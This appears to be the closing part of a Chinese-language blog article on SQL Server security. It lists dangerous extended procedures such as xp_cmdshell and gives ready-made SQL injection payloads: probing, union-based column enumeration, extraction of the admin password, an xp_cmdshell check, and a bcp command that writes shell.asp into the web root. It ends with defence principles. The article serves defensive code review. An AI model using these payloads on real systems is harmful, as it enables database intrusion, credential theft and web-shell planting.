| 分類 | 程序 | 風險 |
| 登錄操作 | xp_regread, xp_regwrite, xp_regdeletekey, xp_regenumvalues... | 讀寫系統登錄,提權、植入後門 |
| 檔案系統 | xp_availablemedia, xp_dirtree, xp_cmdshell | 列舉磁碟、目錄遍歷、命令執行 |
| 網路/設定 | xp_enumdsn, xp_loginconfig, xp_ntsec_enumdomains | 偵測 DSN、驗證模式、網域資訊 |
| 進程控制 | xp_terminate_process | 終止任意 PID |
| 其他 | xp_makecab, xp_webserver (自訂) | 壓縮、自訂 Web 服務呼叫 |
常見注入 Payload 模式
-- 判斷注入點
' OR '1'='1 --
' UNION SELECT @@version,1,1,1 --
' AND 1=(SELECT @@VERSION) --
' AND 'sa'=(SELECT SYSTEM_USER) --
-- 列舉欄位 (盲注/Union-based)
' UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' --
' UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' AND COLUMN_NAME NOT IN ('login_id') --
' UNION SELECT TOP 1 login_name FROM logintable --
' UNION SELECT TOP 1 password FROM logintable WHERE login_name='admin' --
-- 檢查 xp_cmdshell 可用性
' UNION SELECT @@version,1,1,1 --
; EXEC xp_cmdshell 'dir' --
-- 讀寫檔案 (BCP)
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\shell.asp -c -Slocalhost -Usa -Ppass
防禦核心原則
- 參數化查詢 / 預存程序:徹底杜絕字串拼接 SQL。
- 最小權限:應用程式帳號僅授予必要 CRUD 權限,移除
PUBLIC 對危險擴展程序執行權。
- 錯誤訊息不外洩:自訂錯誤頁面,記錄詳細錯誤至日誌而非回傳前端。
- 輸入驗證與 WAF:白名單驗證、長度限制、特殊字元編碼/過濾。
- 定期審計:掃描動態 SQL、檢查擴展程序權限、監控異常查詢模式。
總結
熟悉系統表結構、預設權限、危險擴展程序與注入模式,能強化程式碼審計與 WAF 規則編寫能力。但根本防禦在於安全開發生命週期 (SDL) 的落實,而非事後修補。
- 上一篇文章: 資料庫優化前必問的 10 個關鍵問題:資料型別、索引、命名慣例與統計資料
- 下一篇文章: SQL Server 效能監控關鍵計數器:記憶體、CPU、磁碟、快取命中率
Copyright ©
程式碼之家 All Rights Reserved